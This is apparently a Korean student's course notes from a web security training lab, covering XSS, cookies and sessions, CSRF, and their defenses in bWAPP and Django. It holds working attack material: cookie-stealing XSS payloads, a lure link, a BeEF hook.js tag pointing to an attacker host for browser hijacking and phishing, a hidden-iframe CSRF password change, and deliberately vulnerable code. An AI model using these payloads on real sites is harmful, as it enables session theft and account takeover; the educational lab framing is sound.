[SK shieldus Rookies 19기] 애플리케이션 보안 5일차

기록하는짱구·2024년 3월 18일
0

SK Shieldus Rookies 19기

목록 보기
13/43
post-thumbnail

📌 Cross-Site Scripting

📖 Bee-Box > Cross-Site Scripting - Reflected (GET)

💻 Kali 가상머신에서 beebox로 접속


💻 First name, Last name 입력한 후 Go 버튼을 클릭해 동작을 확인
▪ 화면 하단에 입력한 내용이 출력되는 것을 확인

First name: first -------> 화면에서 전달된 값을 서버 내부 처리에 사용
				  -------> Welcome first last  	
                  					~~~~~~~~~~
                                    # 다음 사용자 화면 생성에 사용 
Last name: last

[GO] 

💻 입력값과 출력값에 스크립트 코드 처리 여부를 확인

First name: first <script> alert('first') </script>	
Last name: last <script> alert('last') </script> 

▪ 모든 입력창에서 XSS 취약점 확인 가능

💻 쿠키 정보를 출력하도록 스크립트 수정

First name: first <script> alert(document.cookie) </script>	
Last name: last

💻 주소창에 주소를 복사해서 공격 문자열을 작성

<a href="http://bee.box/bWAPP/xss_get.php?firstname=
first+%3Cscript%3E+alert%28document.cookie%29+%3C%2Fscript%3E%09&
lastname=last&form=submit"> 비트 코인 대박 정보 <a>

💻 카카오톡으로 링크를 전달하고 해당 링크를 클릭
▪ 호스트 PC에서 bee-box 사이트에 로그인 되어 있어야 함

📖 Bee-Box > Crss-Site Scripting - Stored (Blog)

💻 사용자가 입력한 내용을 저장하고 조회할 수 있는 기능을 제공

💻 입력 내용에 HTML 태그가 포함된 경우 동작을 확인
▪ <b> <i> <u> 태그가 단순 텍스트가 아닌 HTML 태그로 해석되어서 처리되는 것을 확인

💻 <script> 태그를 포함해서 내용을 저장
▪ 해당 서버에 스크립트 코드가 저장되어 있으므로, 해당 페이지에 접근할 때 마다 스크립트 코드가 전달되어 실행되게 됨

📌 Cookie vs Session

https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
▪ Stateless 한 HTTP 프로토콜에서 요청과 요청 간의 관계를 유지하기 위해 도입된 개념

Client     POST /login                            Server
ID: abc  ---------------------------------------> 요청 파라미터로 전달된 ID와 PW를 이용해서 인증 
PW: xyz    ID=abc&PW=xyz  

           200 OK
           Set-Cookie: username=hong; role=user	→ 다음 요청에서 서버가 필요로 하는 값
         <---------------------------------------

           GET /data
           Cookie: username=hong; role=user		→ 동일한 서버로 요청할 때 브라우저가 자동으로 설정해서 전달
         ---------------------------------------> 쿠키로 전달된 값을 이용해 해당 사용자에게 맞는 응답을 전달

         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         # 쿠키는 요청 헤더와 응답 헤더를 통해서 값을 전달 
         → 전달 과정에서 프록시 등을 이용해서 쉽게 노출, 유출될 수 있고 
           스크립트 코드 또는 개발자 도구를 이용해서 쉽게 탈취, 위변조가 가능   
         → 쿠키를 통해서 중요 정보를 전달되거나, 쿠키가 지속적으로 남아 있게 하면 안 됨

📝 안전한 쿠키 사용

  1. 중요 정보가 쿠키에 포함되지 않도록 한다.
    ▪ 설계 시 중요 정보가 포함되지 않도록 지침을 만들고 지침에 따라서 개발

  2. 쿠키에 중요 정보가 포함되어야 하는 경우
    ⑴ 암호화해서 전달
    ▪ 안전한 암호화 알고리즘과 키 길이를 사용하고, 키 관리를 안전하게 진행
    ⑵ HTTPS와 같은 보안 채널을 통해서만 전달
    ▪ Secure 속성을 활성화해서 쿠키를 전달

  3. 쿠키가 하드디스크에 지속적으로 남아 있거나 임의로 접근 못하도록 설정
    ⑴ 쿠키의 지속 시간(Max-Age)과 유효 기간(Expires)을 최소한으로 설정
    ⑵ 스크립트를 이용해서 쿠키 값에 접근/조작을 방지
    ▪ HttpOnly 속성을 활성화해서 쿠키를 전달

📝 관련 가이드 내용

📖 Session

Client     POST /login                            Server
ID: abc  ---------------------------------------> 요청 파라미터로 전달된 ID와 PW를 이용해서 인증 
PW: xyz    ID=abc&PW=xyz                          서버가 가지고 있는 객체에 사용자 정보를 저장 → 서버에 의해 보호
                                                          username: hong
                                                          role: user
                                                             : 	
                                                  해당 정보에 접근할 수 있는 키를 발급
                                                          sid: 1234
           200 OK
           Set-Cookie: sid=1234			→ 다음 요청에서 서버가 필요로 하는 값
         <---------------------------------------	   정보 그 자체를 전달하지 않고 정보에 접근할 수 있는 키만 전달

           GET /data
           Cookie: sid=1234				→ 동일한 서버로 요청할 때 브라우저가 자동으로 설정해서 전달
         --------------------------------------->	   쿠키를 통해 전달된 키를 이용해서 정보에 접근하여 사용자에게 맞는 
  												       서비스를 제공

         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         # 요청/응답 과정에서 정보 유출이 발생하지 않음 
         → 정보에 접근할 수 있는 키가 유출되는 경우 서버를 속여 (서버에 저장된) 정보에 접근은 가능 
         → 키를 잘 만들고 관리하는 것이 중요 

📝 세션 ID를 잘못 생성·관리했을 때 발생할 수 있는 문제

인증 전과 인증 후 동일한 세션 ID를 유지하는 경우
세션 ID 고정

세션 ID 생성 규칙을 유추할 수 있는 경우
세션 ID 추측

(스크립트 코드를 이용해) 브라우저에 저장된 세션 ID를 탈취할 수 있는 경우
세션 ID 훔치기
XSS 공격

📖 BeEF를 이용한 XSS 공격

💻 설치 및 실행

┌──(kali㉿kali)-[~]
└─$ sudo apt install beef-xss

┌──(kali㉿kali)-[~]
└─$ sudo beef-xss            
[-] You are using the Default credentials
[-] (Password must be different from "beef")			
[-] Please type a new password for the beef user: p@ssw0rd → 기본 패스워드 재설정
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]


# BeEF 웹 콘솔 접속 주소
[*]  Web UI: http://127.0.0.1:3000/ui/panel	

 # BeEF에서 제공하는 스크립트 코드 주소
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>


[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
     Active: active (running) since Sun 2024-03-17 22:06:23 EDT; 5s ago
   Main PID: 919417 (ruby)
      Tasks: 2 (limit: 2249)
     Memory: 55.4M
        CPU: 4.142s
     CGroup: /system.slice/beef-xss.service
             └─919417 ruby /usr/share/beef-xss/beef

Mar 17 22:06:23 kali systemd[1]: Started beef-xss.service - beef-xss.

[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1... 

💻 콘솔에 접속
▪ 자동으로 실행되지 않는 경우, http://127.0.0.1:3000/ui/panel 로 접속

💻 로그인이 안되는 경우, config.yaml 파일에서 패스워드를 변경하고 시작메뉴에서 beef stop, beef start를 실행

┌──(kali㉿kali)-[~]
└─$ sudo gedit /usr/share/beef-xss/config.yaml
---
beef:
  version: 0.5.4.0
  debug: false
  client_debug: false
  crypto_default_value_length: 80
  credentials:
    user: beef
    passwd: p@ssw0rd			→ 패스워드 변경 후 저장 (beef는 사용할 수 없음)
  restrictions:
    permitted_hooking_subnet:
    - 0.0.0.0/0
    - "::/0"
    permitted_ui_subnet:
    - 0.0.0.0/0
    - "::/0"
    excluded_hooking_subnet: []
    api_attempt_delay: '0.05'
	... 생략 ...

💻 Kali 가상머신에서 XSS 취약점을 가지고 있는 게시판에 hook.js 파일을 실행하는 글을 등록

<script> src="http://kali.linux:3000/hook.js"></script>
BEEF!!!

🔻

💻 BeEF 콘솔에서 스크립트 코드가 실행된 것을 확인

💻 호스트 PC에서 XSS에 취약한 웹 페이지로 접속
▪ 개발자 도구의 Network 탭에서 hook.js를 계속해서 호출하는 것을 확인

💻 Kali 가상머신의 BeEF 콘솔 확인

💻 감염된 브라우저 정보 확인

💻 쿠키 정보 탈취

💻 소리 파일 재생
https://freewavesamples.com/files/Ouch-6.wav

💻 Redirect

💻 Fake Flash Update

💻 Google Phishing

✍ 취약한 소스 코드 확인

bee@bee-box:~$ sudo gedit /var/www/bWAPP/xss_stored_1.php 

<?php
include("security.php");
include("security_level_check.php");
include("functions_external.php");
include("connect_i.php");
include("selections.php");

$entry = "";
$owner = "";
$message = "";

function xss($data)
{
    include("connect_i.php");

    switch($_COOKIE["security_level"])
    {
        case "0" : 
            $data = sqli_check_3($link, $data);
            break;

        case "1" :
            $data = sqli_check_3($link, $data);
            // $data = xss_check_4($data);
            break;

        case "2" :
            $data = sqli_check_3($link, $data);
            // $data = xss_check_3($data);
            break;

        default :
            $data = sqli_check_3($link, $data);
            break;
    }

    return $data;
}

if(isset($_POST["entry_add"]))
{
	# 다른 실습과 다르게 xss() 함수에서는 xss 취약점과 무관한 처리를 수행
    ㄴ 입력값에 SQL Injection을 유발하는 입력을 필터링 후 저장 
    $entry = xss($_POST["entry"]);		
    									  
    $owner = $_SESSION["login"];	    
    								      
    if($entry == "")
    {
        $message =  "<font color=\"red\">Please enter some text...</font>";
    }
    else            
    { 
                                        ~~~~~
        $sql = "INSERT INTO blog (date, entry, owner) VALUES (now(),'" . $entry . "','" . $owner . "')";

        $recordset = $link->query($sql);
        if(!$recordset)
        {
            die("Error: " . $link->error . "<br /><br />");
        }

        // Debugging
        // echo $sql;

        $message = "<font color=\"green\">Your entry was added to our blog!</font>";
    }
}
else
{
		... 생략 ...
}
?>
		... 생략 ... 
<?php

// Selects all the records

$entry_all = isset($_POST["entry_all"]) ? 1 : 0;

if($entry_all == false)
{
	$sql = "SELECT * FROM blog WHERE owner = '" . $_SESSION["login"] . "'";
}
else
{
	$sql = "SELECT * FROM blog";
}

$recordset = $link->query($sql);
if(!$recordset)
{

    // die("Error: " . $link->connect_error . "<br /><br />");

?>
        <tr height="50">

            <td colspan="4" width="665"><?php die("Error: " . $link->error);?></td>
            <!--
            <td></td>
            <td></td>
            <td></td> 
            -->

        </tr>  

<?php

}

while($row = $recordset->fetch_object())
{

    if($_COOKIE["security_level"] == "2")
    {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            
            # 보안 등급이 높은 경우
            <td><?php echo xss_check_3($row->entry); ?></td>  
        </tr>
<?php
    }
    else
        if($_COOKIE["security_level"] == "1")
        {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            
            # 보안 등급이 중간인 경우
            <td><?php echo xss_check_4($row->entry); ?></td>   
        </tr>
<?php
        }
        else        
            {
?>
        <tr height="40">
            <td align="center"><?php echo $row->id; ?></td>
            <td><?php echo $row->owner; ?></td>
            <td><?php echo $row->date; ?></td>
            
            # 보안 등급이 가장 낮은 경우 
            ㄴ DB에 저장된 내용 그대로 출력
            <td><?php echo $row->entry; ?></td>	 
            
        </tr>							            
<?php          
            }
}      
		... 생략 ... 


         ~~~~~~~~~~~
function xss_check_3($data, $encoding = "UTF-8")
{
    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    
    # <script> 태그가 &lt;script&gt; 형태로 변경되어서 전달
       ㄴ &lt;script&gt; 형태를 브라우저는 <script> 텍스트로 단순 출력
    // '>' (greater than) becomes '&gt;'  		
		
    # htmlspecialchars 함수는 XSS 취약점의 권고 함수
      ㄴ ', ", &, <, > 문자를 HTML 문자로 변환
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
 
}

         ~~~~~~~~~~~
function xss_check_4($data)
{
    // addslashes-returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

	# addslashes 함수는 문자열의 특수문자 앞에 역슬래시(\)를 추가하는 함수
    return addslashes($data);

📖 Django를 이용한 크로스 사이트 스크립트

https://semgrep.dev/docs/cheat-sheets/django-xss/

💻 프로젝트 디렉터리에서 가상환경을 실행하고 개발서버 실행

# Django 프로젝트 디렉터리
c:\Temp> cd c:\python\projects\mysite			

c:\python\projects\mysite> code .

# 가상환경 실행
c:\python\projects\mysite> c:\python\mysite\Scripts\activate	

# 개발 서버 실행
(mysite) c:\python\projects\mysite> python manage.py runserver	

💻 pybo 사이트에 접속해 질문에 스크립트 코드를 추가해서 저장

💻 스크립트 코드가 실행되지 않고 단순 문자열로 출력되는 것을 확인

💻 페이지 소스보기를 통해 확인해보면 스크립트 코드가 HTML 인코딩되어 있음을 확인 가능

💻 sqlitebrowser로 DB에 저장된 내용을 확인
▪ 스크립트 태그가 저장된 것을 확인

💻 DB에 저장된 내용을 XSS 공격에 안전하도록 출력해주는 부분 확인
▪ DTL에서 실행 가능한 코드를 안전하게 HTML 인코딩해서 출력

💻 HTML 태그를 포함하는 답변 등록

💻 특정 부분에 HTML 태그가 동작하도록 하려면 autoescape off 설정 추가

💻 <b> 태그가 적용되는 것을 확인

💻 답변에 스크립트 코드 추가한 후 확인

💻 safe 필터를 사용하면 autoescape off와 같이 내용에 포함된 태그를 그대로 해석해서 실행

💻 pybo\views.py 파일에 실행 가능한 스크립트 코드를 템플릿으로 전달하는 코드 추가

def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = "<script> alert('xss') </script>"
    
    context = { 'question': question, 'msg': msg }

    return render(request, 'pybo/question_detail.html', context)

💻 templates\pybo\question_detail.html 파일에 뷰에서 전달된 msg를 출력하는 코드 추가

<h5 class="border-bottom my-3 py-2">
		{{ question.answer_set.count }}개의 답변이 있습니다. ({{ msg }})
	</h5>

💻 DTL에 의해 태그가 HTML 인코딩되어 처리
▪ 단순 문자열로 출력

💻 뷰에서 mark_safe 함수를 사용해서 템플릿에서 이스케이프 처리를 하지 않도록 지정

from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone
import subprocess
from django.utils.safestring import mark_safe

def index(request):
    question_list = Question.objects.order_by('-create_date')
    context = { 'question_list': question_list }
    
    return render(request, 'pybo/question_list.html', context)


def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    msg = "<script> alert('xss') </script>"
    msg = mark_safe(msg)
    ~~~~~~~~~~~~~~~~~~~~

    context = { 'question': question, 'msg': msg }

    return render(request, 'pybo/question_detail.html', context)

💻 스크립트 코드가 실행되는 것을 확인

💻 결론
✔ Django에서는 DTL이 HTML 엔티티를 자동으로 HTML 인코딩 처리하여 단순 문자열로 출력되도록 하고 있으나 mark_safe() 함수, autoescape off 설정, safe 필터 등을 사용하는 경우 해당 기능을 무효화할 수 있으므로 유의해서 사용하기

📖 WebGoat-2023.8 버전 실행

💻 JDK 17 설치
https://download.oracle.com/java/17/latest/jdk-17_windows-x64_bin.msi

💻 WebGoat Jar 파일 다운로드
https://github.com/WebGoat/WebGoat/releases/download/v2023.8/webgoat-2023.8.jar

💻 명령 프롬프트 실행 후 WebGoat Jar 파일이 있는 곳으로 이동

c:\Users\crpark> java -version
java version "17.0.10" 2024-01-16 LTS
Java(TM) SE Runtime Environment (build 17.0.10+11-LTS-240)
Java HotSpot(TM) 64-Bit Server VM (build 17.0.10+11-LTS-240, mixed mode, sharing)

c:\Users\crpark> cd c:\temp		# WebGoat Jar 파일이 위치한 곳

c:\Temp> set TZ=Asia/Seoul

c:\Temp> set WEBGOAT_PORT=9999

c:\Temp> java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
			:
***************************
APPLICATION FAILED TO START
***************************

Description:

# 8080 포트가 사용이어서 오류가 발생
Web server failed to start. Port 8080 was already in use.

Action:

Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.


c:\Temp> java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
			:
2024-03-18T13:29:09.909+09:00  INFO 1844 --- [           main] io.undertow                              : starting server: Undertow - 2.3.10.Final
2024-03-18T13:29:10.171+09:00  INFO 1844 --- [           main] o.s.b.w.e.undertow.UndertowWebServer     : Undertow started on port(s) 9999 (http) with context path '/WebGoat'
2024-03-18T13:29:10.479+09:00  INFO 1844 --- [           main] org.owasp.webgoat.server.StartWebGoat    : Started StartWebGoat in 47.646 seconds (process running for 99.157)
2024-03-18T13:29:10.604+09:00  WARN 1844 --- [           main] org.owasp.webgoat.server.StartWebGoat    : Please browse to http://127.0.0.1:9999/WebGoat to start using WebGoat...

💻 서버가 실행되면 브라우저를 통해 http://localhost:9999/WebGoat 로 접속

📌 크로스 사이트 요청 위조 (CSRF)

🔎 가이드

📝 개요

요청을 전달 받은 서버가 요청의 절차와 주체를 검증하지 않고 요청을 처리했을 때 발생
▪ 희생자의 권한으로 요청이 처리되는 문제가 발생
▪ 자동 회원가입, 자동 글쓰기, 광고 배너 클릭 등에 악용

📝 동작 원리

Ex. 패스워드를 변경하는 기능🔻

ChangePasswordForm                ChangePasswordProc   
변경 신청 페이지                    변경 처리 페이지 

New PW: _________                 1) 로그인(인증) 여부를 확인
New PW: _________                 2) 처리에 필요한 사용자 입력값이 전달되었는지 확인 
                                     → 패스워드 변경을 위한 사용자가 입력한 새 패스워드가 전달되었는지 확인
[Change Password]                 3) 처리에 필요한 시스템이 가지고 있는 값을 추출
                                     → 패스워드 변경을 위한 변경 대상 정보(사용자 ID)를 세션으로부터 추출   
                                  4) 요청을 처리 
                                     → 로그인한 사용자의 패스워드를 요청 파라미터로 전달된 값으로 변경


회원제 게시판 = 회원 가입 후 로그인해야만 이용할 수 있는 게시판 
제목: [필독] 꼭 보세요.
---------------------------------------------------------------------------------------
어떠 어떠한 내용
<iframe src="ChangePasswordProc?newpw=1234&newpwre=1234" width="0" height="0"></iframe>

→ 해당 게시물을 보는 모든 사용자의 패스워드가 1234로 변경 

⑴ 정상적인 절차(선행되어야 하는 페이지로부터의 요청인지, 공격자가 작성한 자동화 된 요청인지)를 확인하지 않고 요청을 처리하는 문제

⑵ 주요 기능(패스워드 변경)임에도 불구하고 인증 여부 및 요청 처리에 필요한 값 전달 여부만 확인하고 요청을 처리(사용자가 요청한 것인지 자동화 된 코드가 요청한 것인지 확인하지 않고 요청을 처리)하는 문제가 있음

✔ CSRF 취약점이 존재

🔐 방어 기법

  1. 요청 절차 검증

1-1. 텍스트 기반의 토큰을 이용해 요청 절차를 검증

[1] 선행 페이지가 호출되었을 때 서버 사이드에서 임의의 값을 생성하고 (세션에) 저장
    abcd  ~~~~~~~~~~~~~~~~~~~~~~~~~~>    ~~~~~~~~
                                           token
                                           
ChangePasswordForm                         ChangePasswordProc   
변경 신청 페이지                             변경 처리 페이지 
                                           
New PW: _________                          [3] 서버가 가지고 있는 값과 
											   사용자 요청을 통해서 전달된 값 비교
New PW: _________                              일치하는 경우에만 정상적인 절차를
											   통한 요청으로 확인하고 처리

[2] 사용자 화면에 전달			
<input type="hiddent" value="abcd" />	    
                             ~~~~  
[Change Password]            텍스트 기반의 토큰으로           
                             토큰 전달 과정에 사용자가 관여하지 않음
                             → 공격자가 선행 페이지(form)를
                               먼저 호출해 토큰을 추출한 후 후행 
                               페이지(proc)를 호출하는 방식으로 공격이 가능

1-2. CAPTCHA
텍스트 기반 토큰의 자동화 처리가 가능한 문제점을 해결
▪ 요청 과정에 사용자의 입력을 추가

aBcD  
화면에 출력된 내용을 입력하시오. 			
<input type="hiddent" value="" name="token" />  

# CAPTCHA
→ 기계는 인식할 수 없으나 사람은 쉽게 인식할 수 있는 텍스트, 
  이미지를 통해 사람과 기계를 구별하는 프로그램
  ▪ 자동화 된 요청을 방지하기 위한 수단
  ▪ 사용자와의 인터렉션을 통한 요청 

1-3. reCHAPTCH
CAPTCH 이미지가 복잡해 사람도 이해하기 어려워지는 문제점을 해결

  1. 요청 주체를 확인하고 요청을 처리
    주요 기능에 대해서 재인증/재인가 후 처리
    # 주요 기능
      일반적으로 데이터를 조회하는 기능 보다는 생성, 수정, 삭제하는 기능
      중요 정보(개인 정보, 금융 정보, 인증 정보 등)를 취급하는 기능
      과금이 발생하는 기능  
 
ChangePasswordForm                ChangePasswordProc   
변경 신청 페이지                    변경 처리 페이지 

현재PW: _________			   → 재인증을 위해서 현재 패스워드도 함께 입력하게 함
New PW: _________            1) 로그인(인증) 여부 확인
New PW: _________              → 입력한 현재 패스워드가 로그인한 사용자의 패스워드와
							     일치하는 경우에만 패스워드 변경 처리를 수행 
                                  
[Change Password]                 

📖 인증 방법

TYPE 1. 지식 - 패스워드
TYPE 2. 소유 - 주민등록증, 인증서, 스마트폰, OTP, ...
TYPE 3. 특징 - 필기체 서명, 정맥, 홍채, 지문, 성문, ...

💡 정맥, 홍채, 지문, 성문은 생물학적 특징을 이용한 바이오 인증

2개 이상의 이중 방법을 결합한 인증
▪ multi factor 인증

2개의 인증 방법을 결합한 인증
▪ two factor 인증

📖 Kali 가상머신의 경우

bee-box 사이트에 접속

💻 로그인한 사용자의 패스워드 변경을 신청하는 페이지

💻 개발자 도구를 이용해서 요청을 통해 전달되는 내용을 분석
▪ 새 패스워드로 1234를 입력하면 http://bee.box/bWAPP/csrf_1.php?password_new=1234&password_conf=1234&action=change 형태의 요청이 발생

    <h1>CSRF (Change Password)</h1>
    <p>Change your password.</p>
    <form action="/bWAPP/csrf_1.php" method="GET">
        
        <p><label for="password_new">New password:</label><br>
        <input type="password" id="password_new" name="password_new"></p>

        <p><label for="password_conf">Re-type new password:</label><br>
        <input type="password" id="password_conf" name="password_conf"></p>  

        <button type="submit" name="action" value="change">Change</button>   

    </form>
    <br>

💻 해당 요청이 자동으로 발생할 수 있도록 취약한 게시판에 공격 코드 삽입

💻 Submit 후 로그아웃하고 다시 로그인을 시도
코드를 통해서 전달한 1234로 패스워드가 변경된 것을 확인

▪ csrf_1.php 에서 요청 절차와 요청 주체를 확인하지 않고 전달된 파라미터에 의존해서 요청을 처리했기 때문에 발생한 문제

💻 취약한 코드를 확인
bee-box 가상머신 사용

bee@bee-box:~$ sudo gedit /var/www/bWAPP/csrf_1.php

<?php
include("security.php");
include("security_level_check.php");
include("selections.php");
include("connect_i.php");

$message = "";

→ 요청 처리에 필요한 값이 요청 파라미터로 전달되었는지 확인
if(isset($_REQUEST["action"]) && isset($_REQUEST["password_new"]) && isset($_REQUEST["password_conf"]))
{
    $password_new = $_REQUEST["password_new"];
    $password_conf = $_REQUEST["password_conf"];
    
    if($password_new == "")
    {
        $message = "<font color=\"red\">Please enter a new password...</font>";       
    }
    else
    {
        if($password_new != $password_conf)
        {
            $message = "<font color=\"red\">The passwords don't match!</font>";       
        }
        else            
        {
            # 요청 처리에 필요한 값을 서버의 세션으로부터 추출
            $login = $_SESSION["login"];		
            
            # SQLi 취약점 방어
            $password_new = mysqli_real_escape_string($link, $password_new);
            
            # 패스워드 암호화(해시)
            $password_new = hash("sha1", $password_new, false);    		

            if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") 
            {

		      	→ 로그인한 사용자의 패스워드를 요청 파라미터의 값으로 변경 
                $sql = "UPDATE users SET password = '" . $password_new . "' WHERE login = '" . $login . "'";

                // Debugging
                // echo $sql;      

                $recordset = $link->query($sql);

                if(!$recordset)
                {
                    die("Connect Error: " . $link->error);
                }
                
                $message = "<font color=\"green\">The password has been changed!</font>";
            }
            else	→ 보안 등급이 1 또는 2인 경우 
            {
            	# 현재 패스워드가 전달되었는지 확인
                if(isset($_REQUEST["password_curr"]))	
                
                {                              
                    $password_curr = $_REQUEST["password_curr"];
                    $password_curr = mysqli_real_escape_string($link, $password_curr);
                    $password_curr = hash("sha1", $password_curr, false);                

					# 로그인한 사용자의 아이디의 패스워드와
					요청 파라미터로 전달한 현재 패스워드가 일치하는 데이트를 조회
                    $sql = "SELECT password FROM users WHERE login = '" . $login . "' AND password = '" . $password_curr . "'";			
                    
                    // Debugging
                    // echo $sql;    

                    $recordset = $link->query($sql);             

                    if(!$recordset)
                    {

                        die("Connect Error: " . $link->error);

                    }

                    // Debugging                
                    // echo "<br />Affected rows: ";                
                    // printf($link->affected_rows);

                    $row = $recordset->fetch_object();   
                    if($row)
                    {

                        // Debugging
                        // echo "<br />Row: ";
                        // print_r($row);
                        
						# 일치하는 데이터가 존재하면 패스워드를 변경
                    	→ 재인증을 통해 패스워드 변경
                        $sql = "UPDATE users SET password = '" . $password_new . "' WHERE login = '" . $login . "'";

                        // Debugging
                        // echo $sql;

                        $recordset = $link->query($sql);

                        if(!$recordset)
                        {

                            die("Connect Error: " . $link->error);

                        }

                        // Debugging              
                        // echo "<br />Affected rows: ";         
                        // printf($link->affected_rows);

                        $message = "<font color=\"green\">The password has been changed!</font>";

                    }

                    else
                    {
									→ 일치하는 데이터가 없으면 오류 처리 
                        $message = "<font color=\"red\">The current password is not valid!</font>";

                    }
                
                }
                
            }
                           
        } 
    
    }
    
}
... 생략 ...

📖 Django의 경우

프레임워크에서 CSRF 토큰 발행 및 검증 처리

  1. config\settings.py 파일에 MIDDLEWARE에 CSRF 항목을 활성화
IDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    
    # 전역적으로 CSRF 차단 기능을 활성화
    'django.middleware.csrf.CsrfViewMiddleware',			
    
    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
  1. 템플릿에 {% csrf_token %}을 포함
{% extends 'base.html' %}

{% block content %}
<div class="container">
    <h5 class="my-3 border-bottom pb-2">질문 등록</h5>
    <form method="post" class="post-form my-3">
    
        {% csrf_token %}
        ~~~~~~~~~~~~~~~~
        
        {{ form.as_p }}
        <button type="submit" class="btn btn-primary">저장하기</button>
    </form>
</div>
{% endblock %}
  1. 해당 페이지를 요청할 때마다 토큰이 재발행되고 토큰 값을 변경해서 요청하면 오류가 발생하는 것을 확인할 수 있음

  1. CSRF 토큰 검증을 비활성화
    ▪ CSRF 취약점이 발생할 수 있으므로 유의

4-1. 전역적으로 CSRF 토큰 검증을 비활성화 (config\settings.py)

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.contrib.sessions.middleware.SessionMiddleware',
    'django.middleware.common.CommonMiddleware',
    
#   'django.middleware.csrf.CsrfViewMiddleware',

    'django.contrib.auth.middleware.AuthenticationMiddleware',
    'django.contrib.messages.middleware.MessageMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
]

4-2. 부분적으로 CSRF 토큰 검증을 비활성화
▪ 뷰 함수에 @csrf_exempt 데코레이터를 추가

from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone
import subprocess
from django.views.decorators.csrf import csrf_exempt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

def index(request):
    question_list = Question.objects.order_by('-create_date')
    
    context = { 'question_list': question_list }
    
    return render(request, 'pybo/question_list.html', context)
    

def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    context = { 'question': question }

    return render(request, 'pybo/question_detail.html', context)


def answer_create(request, question_id):
    question = get_object_or_404(Question, pk=question_id)
    question.answer_set.create(content=request.POST.get('content'), create_date=timezone.now())
    
    return redirect('pybo:detail', question_id=question.id)

def display_file_contents(file_path):
    try:
        result = subprocess.run(['type', file_path], capture_output=True, text=True, check=True)
        return result.stdout
    except subprocess.CalledProcessError as e:
        print(f"Error: {e}")

# CSRF 토큰이 없거나 잘못되어도 해당 함수 처리가 가능 
@csrf_exempt			

def question_create(request):
    if request.method == 'GET':
        form = QuestionForm()
        return render(request, 'pybo/question_form.html', { 'form': form })
    elif request.method == 'POST':
        # POST 방식으로 전달된 요청인 경우, 요청 본문을 통해 전달된 입력값을 저장 
        form = QuestionForm(request.POST)
        if form.is_valid():
            question = form.save(commit=False)
            question.create_date = timezone.now()
            question.save()
            return redirect('pybo:index')

4-3. CSRF 토큰이 없거나 변조되어도 질문 등록이 가능한 것을 확인

0개의 댓글